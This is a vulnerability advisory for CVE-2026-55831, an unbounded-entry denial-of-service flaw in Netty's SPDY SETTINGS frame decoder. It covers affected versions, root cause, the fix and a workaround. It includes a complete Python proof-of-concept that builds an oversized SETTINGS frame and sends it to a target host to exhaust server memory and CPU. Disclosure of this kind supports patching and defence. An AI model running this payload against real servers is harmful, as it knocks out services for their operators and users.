high · 7.5CVE-2026-55831Jul 22, 2026

CVE-2026-55831: netty-codec-http SPDY SETTINGS Frame Unbounded Entry Count DoS

Rohit Hatagale
AI Security Researcher, SecureLayer7

A remote attacker can crash or stall a Netty server that speaks SPDY/3.1 by sending a single oversized SETTINGS frame that forces the server to allocate hundreds of thousands of map entries…

Packageio.netty:netty-codec-http
Ecosystemmaven
Affected>= 4.2.0.Final, <= 4.2.15.Final
Fixed in4.2.16.Final

The problem

Netty's SPDY SETTINGS decoder reads a peer-controlled numSettings field from the wire and materializes every declared entry into a TreeMap inside DefaultSpdySettingsFrame with no implementation-level count cap.

A single valid ~2 MiB SETTINGS frame carrying 262,144 unique 24-bit IDs creates 262,144 TreeMap entries, consuming roughly 17-18 MiB of heap and burning CPU on ordered-map insertions. Any unauthenticated remote peer that can reach a pipeline containing SpdyFrameCodec can trigger this.

Proof of concept

A working proof-of-concept for CVE-2026-55831 in io.netty:netty-codec-http, with the exact payload below.

python
import socket, struct

# Craft a SPDY/3.1 SETTINGS frame with numSettings=262144
# Wire layout:
#   3-byte length  = 4 + numSettings*8 = 2097156 (0x1FFFF4)
#   1-byte type    = 0x04 (SETTINGS)
#   1-byte flags   = 0x00
#   3-byte version+type (control frame: 0x80 0x03 0x04 packed separately)
#
# SPDY control frame header (8 bytes):
#   bit 15 set = control frame; version=3; type=4 (SETTINGS)
#   flags=0x00; length=4 + numSettings*8

NUM_SETTINGS = 262144
LENGTH = 4 + NUM_SETTINGS * 8  # 2097156

# Control frame header
header = struct.pack('!HHBi',
    0x8003,       # version=3, control bit set
    0x0004,       # type=SETTINGS
    0x00,         # flags
    LENGTH        # 24-bit length (packed as int32, top byte ignored by struct here)
)
# Re-pack correctly: SPDY header is 8 bytes total
# Bytes: [0x80,0x03][0x00,0x04][flags 1B][length 3B]
header = bytes([
    0x80, 0x03,   # control bit + version 3
    0x00, 0x04,   # SETTINGS frame type
    0x00,         # flags
    (LENGTH >> 16) & 0xFF,
    (LENGTH >>  8) & 0xFF,
     LENGTH       & 0xFF,
])

# numSettings field (4 bytes, big-endian)
body = struct.pack('!I', NUM_SETTINGS)

# Append 262144 entries, each 8 bytes: [flags 1B][id 3B][value 4B]
# Use sequential IDs 1..262144, flags=0, value=index
for i in range(1, NUM_SETTINGS + 1):
    id_bytes = bytes([(i >> 16) & 0xFF, (i >> 8) & 0xFF, i & 0xFF])
    body += bytes([0x00]) + id_bytes + struct.pack('!I', i)

frame = header + body
print(f'wire_bytes={len(frame)}')  # expect ~2097164

# Send to target
with socket.create_connection(('TARGET_HOST', TARGET_PORT)) as s:
    s.sendall(frame)

The root cause is in SpdySettingsDecoder: it validates only that the payload length equals 4 + numSettings * 8 (a purely arithmetic check) and then loops numSettings times calling spdySettingsFrame.setValue(), which inserts a new Setting into an unbounded TreeMap for each previously unseen ID.

There is no guard between the wire-format count field and the insertion loop.

The patch (commits 5b68c61 and bb2ff68) introduces a maximum-settings-per-frame cap in the decoder. When numSettings exceeds that cap the frame is rejected before any TreeMap insertions occur, closing the amplification gap. CWE-400: Uncontrolled Resource Consumption.

The fix

Upgrade to io.netty:netty-codec-http:4.2.16.Final (4.x line) or 4.1.136.Final (4.1.x line). Both releases add a numSettings cap in SpdySettingsDecoder before the entry-materialization loop. If you cannot upgrade immediately, disable SPDY/3.1 support in your Netty pipeline by removing SpdyFrameCodec from the channel handler chain.

Reporter not attributed.

References: [1][2][3][4][5][6]

Related research